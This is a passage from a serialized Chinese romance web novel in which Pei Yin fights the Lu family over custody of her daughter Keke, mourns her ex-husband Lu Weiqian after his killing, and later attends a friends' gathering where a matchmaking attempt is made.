“你们陆家非要把唯利是图这四个字,写进基因吗?可可是我身上掉下来的肉,是我那段灰暗日子里的救赎,我没有说过,不让他见孩子,我也没有说过,要可可一辈子都不认他这个父亲,你们还要怎样?”
裴吟指尖紧紧的攥进掌心里。
她心里叫嚣着,让自己不要激动。
却无法在这事上冷静。
“请你以后不要再提这件事情,你送的礼物,我无福消受,我先走了。”
“裴吟……”
陆蔓没想到裴吟,一点商量的余地都没有。
快步追了出去。
“……裴吟,你现在怀孕了,很快就会跟袁枫有了自己的孩子,可可她流着为谦的血,跟在父亲身边,好过跟在一个继父身边,不是吗?”
陆蔓的话。
令裴吟咋舌。
“继父怎么了?袁枫对可可很好,视如已初,这么久以来,他对可可的爱,我看在眼里,他做的很好。”
“可他毕竟不是可可的亲生父亲,那继父对孩子犯罪的案例,相信你已经看过不少了,你难道不怕吗?”
陆蔓提醒。
裴吟笑着摇头,“后妈虐死继子女的事儿,少吗?”
怎么姓陆的这一家子,脑回路都不正常。
“陆蔓姐,我觉得你还是少刷点短视频,多做科研来得好,我看你啊……”
裴吟丢下一抹讥诮,转身离开。
走出来时,小腹微微作痛。
她知道自己气到了。
有些懊恼,刚刚不应该那么激动。
生怕小宝宝再出什么问题。
她握着手机,给袁枫打电话,“袁枫,过来接我,我想去一趟医院。”
“等我。”那头没问缘由,挂断手机。
以最快的速度,接上了裴吟。
裴吟的脸色不算好看,袁枫不知道发生了什么,“怎么回事?跟人吵架了?”
“没错,吵得很凶。”裴吟闭着眼说。
袁枫看了她一眼,握紧她的手,“跟谁吵的,跟我讲,我收收拾她去。”
“跟陆蔓,陆为谦的姐姐。”裴吟心里郁闷的厉害,“我没有想到,她会向我提这种匪夷所思的要求。”
袁枫似是猜到了什么。
“怎么?她还想撮合你和陆为谦?”
“要是这个,我倒不至于发火。
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”裴吟无奈地叹息,“她想要回我的可可。”
“啥?她想要孩子?”袁枫震愕,“你没答应她吧?”
“我当然不会答应她,可可是我生的,我养的,他们陆家凭什么要回去?我不会同意的。”
袁枫点头。
既然不同意。
那就没必要再生这个气。
“只要你不同意,他们也没法抢,咱不气。”
话是这样。
裴吟如何不气。
“袁枫,对不起,我光顾着生气了,忘了怀孕这事……”她的小腹现在还在疼,“……我好怕宝宝出问题,我……”
裴吟满是抱歉。
袁枫握着她的手,递到唇上亲吻着,安抚她的情绪,“没事,出不了什么事儿,可能就是有点宫缩,别怕。”
裴吟靠在袁枫的肩上。
他总是带给她,满满的安定感。
都说男人的成熟,是被女人教出来的。
不知道他是不是。
“袁枫,你以前对女朋友,应该也蛮好的吧?”
话出口后,裴吟又觉得问太多了。
她说过,彼此的过往,都不要提及。
“抱歉,我不是……”
袁枫笑笑,并不介意,“你是我老婆,问我什么,都是应该的,以前的女朋友……准确的说,没有人是我真正的女朋友,年轻时爱玩,玩车,玩马,玩女人,我不是一个好人,没想过安定下来。”
裴吟:……
他看了她一眼,继续笑着说,“变成熟,是因为遇到了想保护的人,想要用最温柔的方式,陪着她,走完这一生,阿吟,这个人就是你。”
“我们是联姻,又不是自由恋爱,你别说的这么深情。”裴吟摇头,袁枫很爱讲她爱听的话。
但这些话,对她来说,不够真实。
“咱们呢,是先婚后爱。”袁枫脸上依然是,淡而愉悦的笑意,“谁说爱情就非得自由恋爱才有的,我没告诉过你吧,我对你可是一见钟情。”
裴吟笑他这谎话,太拙劣。
“袁枫,你行了,没完没了还。”
她扭头看向车窗外面。
玻璃上映出她微笑的侧颜。
袁枫心满意足,“好,不说了。”
二人去医院挂了号。
做了相关的检查。
医生看着孕检单子,脸色并不轻松,“怎么各项指标都不在正常的范围内?这几项高了,这几项呢,又低的厉害,宝宝他……”
袁枫和裴吟一下紧张了。
“医生,宝宝有什么问题吗?你赶紧说啊……”
第258章 陆家抢走了孩子
“宝宝发育有点小啊,妈妈得多吃啊,而且不要生气,不要生气,你们这些孕妇的家属啊,一定要照顾好孕妇的情绪,生气容易宫缩,引起胎动,这有先兆流产的迹象。”
医生拿起笔来。
开始开药。
袁枫很认真的听进去了,“我会注意的医生,我太太她……吃了药,应该问题不大吧?”
“吃了药,保保胎,保持好的心情,问题不大。”
“谢谢你医生。”
总算,没有出什么意外。
裴吟的心也跟着放了下来。
结果,两个人还没有走出医院。
就接到了家里打来的电话,“少爷,你和少奶奶赶紧回来吧,小小姐出事了。”
“出什么事情了?”袁枫心头一紧,声音不自觉地提高。
电话那头,程嫂语句断断续续地挤出来:“陆家……陆家来了一群人,说小小姐是他们家的血脉……不由分说就把孩子带走了……老爷夫人都不在,我们几个下人,实在拦不住啊……”
说到最后,几乎失声抽噎。
袁枫脸色骤沉:“知道了,我们马上回来。”
“袁枫,发生了什么?”裴吟一把抓住他的胳膊,指尖收紧:“是出什么事情了吗?”
袁枫喉咙发紧,话语在唇齿间艰难:“阿吟,你……你先答应我,千万别着急。就是……陆家他们……”
他少有这样语无伦次的时候。
裴吟的手指用力,骨节泛白:“直接说!”
袁枫咽了口唾沫,“陆家派人来,把可可带走了。”
“什么?”
裴吟只觉得耳边“嗡”的一声。
前脚她才与陆蔓把话说到绝处,后脚他们竟敢直接上门抢人?
血气直冲头顶,她的声音因极致的愤怒而微微发颤:“真是给他们脸了!可可是从我身上掉下来的肉,含辛茹苦养到今日,他们凭什么?”
袁枫按住她颤抖的肩,试图让她冷静:“你别气,也别急,这事交给我去处理。”
他的好意她明白。
但这是她和陆家之间的纠葛,袁枫终究是外人,陆家那些眼高于顶的人,谁会真把他放在眼里?
裴吟深深吸了一口气,抬手,轻轻覆在自己尚未显怀的小腹上……
她不能生气。
生气只会让肚子里的宝宝受到伤害。
“这件事,必须由我亲自去处理。袁枫,你放心,我现在很清醒,也很平静。”
她现在还不知道,是谁派人来抢的孩子。
应该不是陆蔓。
她再怎么样,也是个讲道理的人。
是陆为谦吗?
应该也不是他,他那个人的脾气和性格,注定做不出这样的事情。
那会是谁呢?
难不成是陆之白?
他为什么要来抢孩子?一个女孩,还是他讨厌的前儿媳妇生的,对陆家来说,一点用都没有,他为什么要抢回去?
难不成……他想害人?
一想到这儿。
裴吟的心就拎到了嗓子眼。
“袁枫,把我送到陆家。”
“好,我陪你。”他不放心裴吟一个人,“你自己单枪匹马的,万一他们欺负你怎么办?”
有人在背后撑腰,固然是好。
但裴吟喜欢单打独斗。
“到时,你在车里等我,如果我占了下风,我会叫你的。”
袁枫还是不放心,“万一……”
“相信我袁枫。”裴吟坚持。
袁枫也没再坚持。
车子开到陆家门口。
偌大的别墅,带着熟悉的压抑感,扑面而来。
裴吟深呼吸,推开车门。
“阿吟,真的不用我陪你?”袁枫眸底尽是担心。
裴吟点头,“放心,有事的话,我会给你打电话的。”
“那我就在外面等你,有事叫我,别自己硬撑。”
“好。”
陆宅的门是开着的。
似乎是已经猜到了,裴吟会过来。
院子里有几分萧瑟,墙角的那些绿芽,又迸发出新的生机。
很矛盾。
“裴小姐你来了,先生已经在等了。”
下人做了请了手势,带裴吟往里走。
陆宅的客厅很大。
陆之白通常喜欢坐在主位上,不留情面的训斥儿女。
裴吟以为,再也不用跟陆之白见面。
没想到……
走进客厅。
不仅陆之白在,程岚在,陆为谦也在。
难道,陆之白抢走小可可,是陆为谦授意或是默认的?
带着诸多的疑问。
裴吟拉过一把舒适的椅子,坐到了陆家的人对面。
“我女儿呢?”
“裴吟,我现在郑重的通知你,可可
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现在是我们陆家的人了,她现在只有父亲,有爷爷和奶奶,不会再有妈妈了。”
陆之白理所当然。
像是把控整个事件的神。
说一不二的嘴脸,看得裴吟想揍人。
“你在跟我开玩笑呢?陆之白,你别逼我说难听的话,把我女儿交出来,我可以不跟你们计较,如果不交,谁也别想好过。”
跟她耍横。
那她就闹的鸡飞狗跳。
陆之白冷笑。
完全没有把裴吟放在眼里。
“难听的话,你说的还少吗?裴吟,既然你已经嫁进袁家,就不再是我们陆家的人,我们家的种,怎么可能会跟着你去袁家,你做梦呢?”
裴吟淡笑。
唇角噙起一抹冷意,“我做梦?我看是你在做春秋大梦,谁说,这孩子就是陆家的了?你们做过亲子鉴定了吗?陆之白,我发现你怪癖挺严重的啊,喜欢养别的男人的孩子不说,还喜欢养别人家的孙子……啧啧,我是不是该为你的大胸怀,鼓掌啊。”
陆之白被气到。
蹭的一下从椅子里站了起来,“你简直是无法无天,是不是为谦的种,马上去做亲子鉴定,是,我们留下,不是,你抱着滚蛋。”
“不是。”裴吟脸上,依然是一副气**不偿命的淡笑,“陆之白,我跟你们陆家讲实话吧,这孩子是我跟外面的男人生的,为的就是给陆为谦戴绿帽子,为的就是给你们陆家蒙羞,你们现在抢一个不自己家的孩子,还抢的劲劲儿的,真的让人笑死。”
陆之白被激怒。
刚要动手。
被程岚拽住,她转过身来,看着裴吟轻嗤,“你跟别人生个孩子,还挺有脸的啊,裴吟,你一直就这么没有底线吗?是不是你父母从小就是这样教你的?你不会也是偷情生出来的孩子吧?”
“程岚,你怎么老把你的故事,往我的身上按呢?我父母是没有教好我,你父母倒是把你教得好啊,一个孩子一个爹,还一个认种的都没有,如果我是你,早**。”
裴吟从来不是吃亏的主。
架势气**不偿命。
“你……”
程岚没有讨到便宜。
遂看向了陆为谦,“为谦,你都看到了,裴吟这种女人,只会搅混水,一点也不尊重长辈,不要也罢,赶紧的,把她赶走。”
第259章 亲子鉴定
陆为谦依然沉闷不语。
陆之白在气头上,有气没地发的,上来就甩了他一个巴掌,“当初如果娶了江家的女儿,何至于,让我们现在受这份侮辱,陆为谦,你简直是陆家的罪人。”
陆为谦脸被打偏。
裴吟的心,也跟着攥了一下。
陆之白太强势,对陆为谦向来说一不二。
但他忘了,陆为谦已经三十多了。
如果他想反抗,陆之白,根本就无法抵挡。
可惜……
陆为谦的性子太软了,又太顾全大局,总是在委屈自己。
娶了裴吟后,他也在委屈裴吟。
所以,才落地今天,孑然一身。
“是,我是陆家的罪人。”陆为谦苦笑着起身,从未有过的愤怒和委屈,“陆家好,荣耀都是你们的,陆家不好,罪过都有我的,所以,我现在妻离子散,以后,把我从陆家除名吧,你就当没有生过我。”
“你,你,你……”陆之白气得指尖发颤,“……你长本事了是不是?你留不住老婆,还怨上我们了?你妻离子散,那是你无能,是我们把她赶走的吗?”
“不是吗?”陆为谦怒吼,“不是你天天咬着她,要她的肾吗?不是你天天看她不顺眼,说她又克这个,又克那个的?爸,如果不是因为你看她怎么也不顺眼,我现在会沦落到这个地步吗?你就是罪魁祸首。”
“你……”陆之白气要犯心脏病。
程岚赶紧替他捋胸口,“别生气,跟自己儿子生什么气嘛,要怪就怪这个裴吟,她就是个搅屎棍,是你们父子不合的最大敌人。”
裴吟听的要笑了。
“别废话了,把我的女儿还给我,我现在立马就走。”
“你想都不要想。”陆之白就不想让裴吟心里舒服,“我会带这个孩子去做亲子鉴定,只要她不是为谦的女儿,我自然会把她还给你,至于……什么时候去这个鉴定,你回家等信儿吧。”
呵。
她还被通知上了。
真是拿她当软柿子捏了。
裴吟慢条斯理的拿出手机,摁了110,“喂警察同志,有人抢走了我的孩子,还是**抢的,你们快来。”
听到裴吟报警。
陆之白拿起手边的烟灰缸,冲着裴吟就扔了过去。
裴吟其实是能躲过去的。
但陆为谦还是替她挡了。
‘砰’
他的额头被砸出血来,顺着眼角往下流,“闹够了没有?”
程岚也不敢说话了。
陆之白的脸也绿了。
“我说了,等我验明孩子正身,会将孩子的去留做个决定的,她非要报警,非要触我的霉头……陆为谦,我看你脑子简直就是坏掉了,她都结婚了,她已经要给姓袁的生孩子了,你还对她……对她一往情深的,天底下的女人都死光了吗?丢人现眼。”
陆之白和程岚甩手离开。
裴吟抽了纸巾,递给陆为谦擦血,“其实,你不必替我挡,他伤不到我的。”
“就当我自作多情吧。”
雪白的纸巾,被红色染透,触目惊心。
“要不要送你去医院?”裴吟问他。
陆为谦摇头,“不用,小伤。”
“你爸把可可抢回来这事……,我一定会追究到底的,陆为谦,我想知道你的意思?你也想把可可要回去吗?”
陆为谦抬眸看向裴吟。
他眸底的情绪复杂。
许久,才垂了垂眼皮,“我姐,应该找过你了吧?”
“找过了,说了你的事情,真假我不知道,但我觉得这不是你把可可要回去的理由,她是我身上掉下来的肉,陆为谦,我不希望,我们最后的关系,变成仇人。”
陆为谦垂下脑袋。
他也不希望。
可他有时候,真的很无能为力。
“我姐说的都是真的,我也犹豫过,但……,我没有想把可可要回来的想法,她跟着妈妈,比跟着一个闷葫芦爸爸要强的多,我相信你可以养得很好。”
裴吟看向他。
知道,他说的是真的。
“陆为谦,你是可可的父亲,你有权利参与她的成长,我不会阻碍你看望可可,你想什么时候见她,我都没有意见,你尽可以放心,孩子长大了,也是一样爱你的。”
陆为谦相信。
他对裴吟是抱歉的,“孩子的抚养费我会给的。”
他拿了一张银行卡,递给了裴吟。
这里面存了一些钱,“以后我会把钱,打到这张卡里,我知道,你的能力一定可以给
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可可很好的生活,这些钱……你就帮她存着吧。”
裴吟无法替女儿拒绝。
“好。”
“过几天,我会亲自把可可送回去,你放心。”
有陆为谦的保证。
裴吟也没有再纠缠,“你们真的要去做亲子鉴定吗?她那么小,扎针会很疼的。”
“不会,我不会跟她做亲子鉴定,她是不是我的女儿,我看一眼就知道了,我爸想做亲子鉴定,无非考虑更多的是后面打官司的事情,我不会给他这个机会的,这件事情到此为止吧。”
该放下的。
他已经渐渐说服自己。
裴吟能找到自己的幸福,他也很为她开心。
“走吧,我送你出去。”
看到裴吟出来,袁枫扔掉了指尖的烟,快步走了过去,“没事吧?”
裴吟点头,“我很好。”
袁枫看了陆为谦一眼,他受了伤,看起来却不算很好,“你这头上的伤,不会是我们家阿吟打的吧?”
“不是,你带阿吟回去吧,改天,我会亲自把可可送回家,好好照顾她。”
陆为谦像在郑重地将裴吟,交代给袁枫。
虽然袁枫听的别扭。
但面上,却也没说什么。
打开副驾驶的门,他扶裴吟坐进后,看了陆为谦一眼,“陆公子,既然把可可抢了回去,就多跟她相处几天,她很可爱,我们一家人都很喜欢她,你放心,我也会好好爱她的。”
关好车门。
车子驱离。
陆为谦看着渐渐远走的车灯,眸色幽远。
袁枫比他强。
强的不是袁家人的包容,也不是对裴吟的偏爱,而他有一颗宽容大度的心。
他不小肚鸡肠。
不拈酸吃醋,他对裴吟有足够的信任。
裴吟一定会幸福的。
“为谦,你爸叫你去书房见他。”程岚走出来,小心翼翼的提醒,“你可别惹你爸生气了,他之前生了那么大一场病,要是再气的加重的病情……”
“少管点闲事,好好保胎,给我爸生个继承人,那样,他就不会只盯着我了。”
陆为谦甩手往里走。
程岚气的闷哼,抬手抚着自己的孕肚,自己小声呢喃,“这孩子……又不是他的。”
第260章 已经没有了呼吸
几天后。
陆为谦将小可可送回了袁家。
站在袁家的门口。
他和裴吟说了会儿话。
“我要离开江城了。”他说。
裴吟错愕,“因为我?”
“为我自己。”陆为谦似是下了什么决定一般的坚定,“三十多年了,我没做过一件对得起任何人的事情,除了陆家,我想……以后的人生,还是为自己活吧。”
裴吟很赞成。
也欣喜他的改变。
“那,准备好去哪个城市了吗?”
“去怀城吧。”他微微笑了笑,“我有个同学在怀城,邀我过去一起做事务所,我答应了。”
裴吟:“挺好的。”
“小可可以后就拜托你照顾了。”他在女儿的额头上,轻轻的吻了一下,“如果有机会,我每年都会回来看看她的。”
裴吟点头。
在陆为谦转头走的时候,她说,“为谦,你为可可娶了个名字吧,跟我姓,想好了,告诉我。”
陆为谦眼眶泛起红。
他微笑着点头,“好,我好好想想。”
“嗯,好好照顾自己。”
“你也是。”
曾经的夫妻,恋人,这样的离别是有一些伤感的。
袁枫走出来时。
裴吟并没有察觉。
他从身后将她拥住,轻轻的问她,“难过?还是舍不得?还是有些一遗憾?”
“都有吧,虽然我在那场婚姻中,受了很多委屈,为谦何尝不是呢?”如果她肯再给他一个机会,或许,他们现在的关系,就会变不成现在这样。
可人的缘分就是这样的。
没有什么样的机会,是无条件在等的。
她现在有了袁枫,或许就是上天对她最好的补偿。
裴吟不敢期待日后。
当下,她觉得她的生活,是幸福的。
“爸,妈有说什么了吗?”
袁枫摇头,“他们很有分寸,不该问的,向来不问。”
她的后背,紧紧的贴着他的胸膛。
或许,这就叫依靠吧。
……。
几个月后,裴吟诞下一个男婴。
袁家上下,皆大欢喜。
小可可有了弟弟,一直扒着婴儿床,跟他讲话。
而此时。
准备要去看望裴吟的宋南伊,却收到了一个令人震惊的消息。
“你说什么?陆律师出事了?时序,你的消息准确吗?他不是去怀城了吗?怎么会出的事儿?你赶紧的跟我说啊。”
宋南伊感觉好不真实。
这才半年的时间,怎么就出事了呢?
霍时序没讲的太细,只是说,“他办了一个案子,那案子牵扯着上面的人,上面那位领导几经找人说和,他都没有同意,晚上下班时,有人用钝器打在了他的后脑上……”
宋南伊听的天旋地转。
怎么会这样啊……
“人……没了?”
霍时序点头,神情沉重,“我刚好在怀城出差,听到这件事情后,我马上就去了律所,见了他的合伙人,那时的为谦他……已经没有呼吸了……”
霍时序拿到了陆为谦的遗物。
交给宋南伊一张纸。
“这是陆为谦为女儿取的名字。”
宋南伊颤着指尖接过来,上面写着两个字,“温……暖?”
“离开江城时,裴吟把取名的事情,交给了陆为谦,他应该很开心,所以,他取了一张又一张纸的名字,但最后他却选择了,最平凡的一个,他的希望女儿的一生,是温暖的吧。”
宋南伊心里难受极了。
老天爷是不是对陆为谦太不好了。
明明,他已经决定要好好的,开始自己的人生。
为什么会出这样的事情。
他还没有来得及,把自己给女儿取的名字,亲自跟她讲就……
宋南伊鼻头一酸,眼眶也跟着红了起来。
“裴吟,还不知道吧?”
“裴啸已经知道了,裴吟刚生产完,这事还是暂时,不要跟她讲了。”
宋南伊点头。
确实不适合。
“那我们……今天,还要去看望她吗?”宋南伊实在是怕自己控制不好情绪,她这个人,又不会说谎,“要不,你代我去?”
她需要好好的平复一下心情。
霍时序点头,“我和裴啸一起过去,看望一下,要是裴吟问起来,我就说你感冒了,她也不会计较什么的。”
“好。”
一整天,宋南伊的心情都不在状态。
陆家人已经赶往了怀城,处理陆为谦的后世。
她觉得,是不是让小可可去送他父亲一程。
生离死别是大人的事情。
小姑娘年纪太小了。
她什么也不懂。
纠结来,
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纠结去的,终于把霍时序盼了回来。
“裴吟的状态怎么样?”她问。
霍时序点头,“不错,生了个大胖小子,八斤多,是医院里最胖的一个。”
“那……袁枫知道陆为谦去世的消息吗?”
霍时序猜,他是知道的。
但他更不可能,在这种时候,跟裴吟说这事。
“好了,你别焦虑了,说到底,这事与我们无关,只是……”霍时序的心里也不好受。
闹过,斗过,也打过架。
但这无法泯灭,他与陆为谦的发小情谊。
人都没了。
他已经不去计较以前那些幼稚,心里更多的是难过和悲伤。
“……南伊,我和裴啸要再去趟怀城。”
“我也去。”宋南伊说。
霍时序没有拒绝,“好。”
……
因为涉嫌被**。
陆为谦的尸体,还在太平间里放着。
凶手倒是也抓到了。
但有什么用呢。
人死不能复生。
陆蔓哭的,晕厥过去好几次。
陆之白说着一些后悔的话,头发,也白了接近一半。
没有一个人,不因为陆为谦的去世,感到遗憾和悲伤。
宋南伊特意去瞻望了他的最后一眼。
心里别提是什么滋味。
“陆蔓姐,节哀吧。”宋南伊不知道要说什么,红着眼递了手帕给她,“要保重身体啊。”
陆蔓喉咙沙哑。
不能说话。
但还是硬挺着点头,表示对宋南伊关心的感谢。
后来。
陆为谦火化了,骨灰带回了江城,埋进了陆家的陵园。
听说陆之白的身体也垮了,夜深人静的时候,他总会坐在陆为谦的房间里,说一些对不起他的话。
他认为儿子的死,是他逼的。
但作为一个父亲,他从来都是希望儿子长命百岁的。
他寄希望在程岚的肚子上。
结果……程岚生了一个黄头发,蓝眼睛的男孩……
陆之白一时情绪失控,将这个女人在医院里砍成了重伤。
差点死掉。
警察带走了陆之白。
程岚出院后,带着孩子,也不知了去向。
一时间,陆家成了江城最大的新闻,每个人都在讲,每个人都在议论,而裴吟也很快知道了所有的事情。
第261章 曾经的爱,萧条落幕
裴吟还是从伺候她的月嫂口中,得知陆家发生的事情。
怪不得,这么久以来,袁枫不让她看手机。
原来,是怕她看到……
整整一天,她都沉默不语。
悲痛吗?
是的,她似乎比任何人都来得撕心裂肺。
可她哭了吗?
并没有。
好像人太过于悲伤了,是没有眼泪的。
她爱过陆为谦,但还没到深爱,就已经分开了,但那种爱还在,遗憾就在,难过就在,伤痛也在。
他是可可的父亲。
她不希望他出事的。
如果不去怀城就好了。
可他们,分明就那样淡定又安然的,告别过。
傍晚的时候,袁枫回来。
给她带了爱吃的桂花甜饼。
东西递过去时,他看到了她红肿的眼眶。
他猜,她知道了陆为谦的事情。
“你……都知道了?”
“是真的对吗?”她并不愿相信,“袁枫,你告诉我,陆为谦他……真的离开了吗?”
这事对于裴吟来说,是噩耗。
袁枫不知道该如何细述。
“他出了意外……”他轻轻地将裴吟抱紧,“……阿吟,我知道你心里很难过,我也不知道该如何安慰你,如果你想哭,就哭出来,我不介意的。”
裴吟隐忍着。
不是不想哭,是不知道用什么身份,来为陆为谦掉泪。
她紧紧地抓着袁枫胸前的衣襟,只见眼泪,不见声。
许久,她抽动的后背,才算平息。
“他,他还没有给可可娶名字呢。”
袁枫心里难受,从口袋里拿出一张纸来,“前几天,霍总给我了这个,说是陆律师的遗物,你看一眼吧。”
裴吟泪流满面地接过来。
上面是陆为谦为可可取的名字。
“温暖……他希望女儿将来可以拥有温暖的人生,是,是因为他在陆家,从来没有得到过温暖……”
裴吟泣不成声。
她曾经的爱啊,就这样萧条的落幕了。
她如何接受,如何放下,如何不遗憾呢。
裴吟想带可可,去祭奠一下陆为谦。
但她知道,陆家人很可能,不会让她进到陵园。
几天后,她硬着头皮,给陆蔓打了个电话,陆蔓姐。”
“有事?”陆蔓的声音依旧沙哑疲惫。
裴吟黯淡地说,“陆蔓姐,我想带可可去看看他的父亲,可以吗?”
陆蔓没有说话。
应该是对裴吟还有一些怨言在。
裴吟沉默过后,“陆蔓姐,我和袁枫商量过了,如果你们希望可可姓陆的话,我们没有意见,我想以可可的名义为为谦他……立个碑,不知道你的意见?”
好歹他是有后的。
他的血是有人继承的。
良久后,陆蔓嗯了一声,“好。”
裴吟找了个时间,和陆蔓见了一面。
她很憔悴。
人也老了好几岁的样子,明明她也还很年轻,鬓角却有几丝白发。
“我听说伯父他被抓了,有需要帮忙的地方,可以尽管告诉我,我能帮的,一定会帮的。”
斯人已逝。
再多不愉快的过往,她也愿意放下。
陆蔓浅浅摇头,“为谦的朋友是很知名的律师,他一直在帮着忙。”
“那就好,我相信伯父也只是一时冲动,毕竟谁遇到那样的事情,也无法承受。”
陆家空了。
陆蔓心空了。
她决定安顿好陆为谦的身后的事情后,就会去国外定居,永远不会再回江城了。
“我要走了,日后每年,你就带可可来拜一拜为谦,他喜欢你的,也喜欢可可,你们来看他,他一定很开心的。”
裴吟又红了眼眶。
如果知道他到了怀城,会发生这样的事情。
当时他说离开时,她一定会用尽一切的方法,留下他。
可是人生,哪有如果。
“陆蔓姐,我会的,你也不要太难过了,这是为谦不愿看到的。”
陆蔓眼角滴泪,“我如何能不难过啊,我和为谦虽然说同父异母,可我们从小感情就很好,他还这么年轻,就离开……我如何能放下他……”
劝人的话,终究是劝不了自己。
裴吟对陆蔓的话,感同身受。
她的悲伤,从来不比任何人少,只是面上的冷漠和平静,让人觉得,陆为谦的离开,好像对她没有激起半点波澜。
她所做的事情,只是因为她和陆为谦之间,有一个女儿。
真的不是这样的。
她痛彻心扉。
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“陆蔓姐,我明白,我还是希望……,希望你能尽快的从悲痛中,缓过来。”
……
裴吟带可可去见了爸爸。
女儿指着墓碑上的人,含混不清地问裴吟,“妈,妈咪,叔,叔,是谁呀。”
“可可,他是爸爸。”
可可不懂,她已经有爸爸了呀,“妈,咪,可可,有,有2个……”她伸出两要小小的指头,“……2个爸爸。”
小小的人儿。
不知道被埋在地下是什么意思。
裴吟没再解释。
随着她一年年的长大,她就能明白的。
“可可,给爸爸磕个头。”
“哦。”
小姑娘乖巧极了。
跪在地上,砰,砰的,给陆为谦的墓磕了两个头,捂着额头,笑呵呵地,“妈,咪,可可,好棒棒,对,不对?”
裴吟揉了揉小姑娘的头顶。
给她扑了扑裤子上的土,“可可真棒。”
小姑娘蹦蹦跳跳。
哪里知道,生是什么,死又是什么。
“可可,别跑远哦。”
“嗯。”
裴吟给陆为谦倒了杯酒,放到他的墓前。
很遗憾,他们以这样的方式,做了告别。
“为谦,你在那边还好吗?”
“其实,你知道吗?我一直觉得挺对不起你的,如果不是因为我,当年,你也不会出车祸,也不会躺在病床上那么久。”
“我从来没有跟任何人讲过,我是想过跟你重新开始的,自从你去世后,我一直恍惚地在想,如果当时,我不是那样的绝情,坚持不回头,你或许现在还活着。”
“为谦,别怪我,我爱过你是真的,你在我的心里,也永远会在,可是我们却永远见不到面了……”
“你放心吧,我会好好的把可可抚养成人,我会把加倍的爱给她,如果谁让她受了委屈,我一定会带她走的,为谦,你不要担心。”
“现在她还太小,不知道为什么会有两个爸色,将来,她会明白你是她的亲生父亲这件事情,我每年都会带她来的。”
“为谦,希望你在那边好好的,不要担心女儿,陆蔓姐出国了,她很想你,很难过你的离去,但我相信,她一定会好起来的。”
“为谦,我们要走了,你保重……”
第262章 突然要搞对象
陆为谦离开后的三个月。
大家心情归于平静。
裴吟时常会想起他,但已经没有了原来那样的伤痛。
霍时序组了个局。
邀请了袁枫和裴吟两口子。
还有裴啸。
正好是周末的时间,宋南伊便给邓雪打了个电话,问她要不要过来。
邓雪是下属,不好掺和他们朋友间的聚会,委婉地拒绝了。
“老板,我就不去了,你们好好玩。”
“今天也没有旁人,就是一起玩玩,……如果你有别的事情,就算了。”宋南伊不喜欢勉强人。
她能邀请邓雪来,是当她是自己人来着。
邓雪也不是傻子,自然明白。
便也没有再推辞,“不是的老板,我主要是酒量不太行,不过我烤肉的技术还是不错的。”
“好,你来烤肉。”
“好的,老板,马上到。”
邓雪去之前,特意给三个小朋友买了礼物。
花了她半个月的工资。
但她觉得这很值得。
临走时。
母亲给她拿了一篮山鸡蛋,“这是咱们老家自己养的鸡下的蛋,没吃过激素,都是好东西。”
“妈,这种东西,就不要拿了吧。”
宋南伊家里怎么可能,没有比这更好的鸡蛋呢。
拿去,人家不收过意不去。
收去,应该也不会吃的。
“你拿着吧。”母亲再三叮嘱。
邓雪只好拎着鸡蛋出了门。
她将鸡蛋放进了后备箱里,没打算送出去。
邓雪去的时候,大家都到了。
她贴心的送上自己的礼物,便乖乖地去给厨师们打下手。
“我说宋南伊,你把邓雪叫来,就是让她打杂的?她可是你们YY珠宝的高管,你这样,未免也太不拿人家当回事了。”
裴吟摇头,觉得欠妥。
“我才不是让她来打杂的呢,我想借着这个机会,把她介绍给你哥,你觉得怎么样?”
宋南伊话音一落地。
裴吟一口果汁,差点喷到宋南伊的脸上,“你没事吧?”
“怎么了?你觉得邓雪配不上裴啸哥吗?”
“那倒不是。”裴吟只是觉得,这两个人根本就不是一路人,“你觉得他们两个合适吗?大家公对公的工作那么久了,突然就要搞对象,这有点……”
“哎呀,也没有说,立马就让他们谈恋爱,我就提一提,让他们从心理改变一下,朋友也可以发展为恋人的。”
宋南伊抬眸看向邓雪,冲她招手,“邓雪,你过来。”
邓雪放下手里的活。
立马走了过来,“老板。”
“邓雪,你先别着急去干活,坐下,咱们说说话。”
邓雪觉得自己不合适这样,依旧拘谨地站着,“老板,你有什么吩咐就好了,我……不累。”
“邓雪,又不是在公司里,赶紧坐下。”裴吟指了指旁边的椅子,“你们家老板,有事儿要问你。”
“哦。”
邓雪忙弯身坐下。
宋南伊也有点不好意思,直接问。
吱唔了一下,“邓雪,你有男朋友吗?”
“啊?”宋南伊从未问她个人的问题,“老板,你……我不太明白你的意思,我……没有男朋友啊,我没有想过要恋爱,或是结婚,我只要工作,赚钱。”
“没想过是……没有遇到合适的吧?”
邓雪想了想,也可以这样认为,“可能吧,我家庭普通,遇到合适的,其实挺难的,不是人家瞧不上我,就是瞧不上人家的。”
她尴尬的笑笑。
宋南伊刚要提裴啸,就看到裴啸走了过来。
邓雪赶紧起身,“那个老板,我去烤肉去了,你们聊吧。”
她走得仓皇。
步子迈得太大。
经过裴啸身边时,也是点背,脚崴了一下,差点摔出去。
要不是他及时伸手扶住她,她绝对吃一嘴草。
“谢谢裴总。”
裴啸没说话。
邓雪又去干活去了。
裴啸走过来,坐下,漫不经心的,“人家一高管,你叫来就让她烤肉啊?南伊,这事不妥啊。”
宋南伊:……
她想解释。
袁枫又走了过来,也是同样的话,“霍太太好大的谱啊,烤肉用上副总了,这妥当吗?”
宋南伊:……
裴吟笑着替宋南伊解释,“南伊可没有让她来烤肉,是想为邓副总介绍男朋友的。”
裴啸的眸色微动。
缓动眼珠,看向了宋南伊,“你要给她介绍男朋友?”
“对啊,邓雪这么优秀,我想着……给她介绍一个特别优秀的男朋友,你觉得怎么样?”
宋南伊故意问他。
裴啸淡无表情的,看向远处烤肉的女人,“那你准备给她介绍个什么样的?”
“那必然是高富帅啊,裴啸哥,你身边有没有这样的人啊?”宋南伊歪着脸看他。
裴啸依然没有多少情绪的,“谁
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知道她喜欢什么样的。”
“你觉得可以的就行,我相信你的眼光。”
说到这份上了。
宋南伊希望听到裴啸说一句,“那我可以。”
可惜他没说。
她猜,裴啸是对邓雪无感。
感情这种事情,确实也不能勉强。
“裴啸哥,听说你不联姻了,那你交新的女朋友了吗?”
裴啸没说话,裴吟快一步替他讲,“还说呢,那个施晓对我哥一见钟情,她说了,不联姻,她就追,非要追上我哥不行。”
“裴啸哥,你可真有魅力。”宋南伊笑了。
她的眼神有些怔忡地看向了邓雪。
算了。
郎也无情,妹也无意的。
她别瞎撮合了。
晚餐的用餐气氛很好。
男人们喝着酒,聊着各个项目。
宋南伊和裴吟聊得最多的是宝宝的话题。
邓雪觉得自己格格不入,就跑去帮厨师干活。
上层社会与她的中间,隔着天地与海洋。
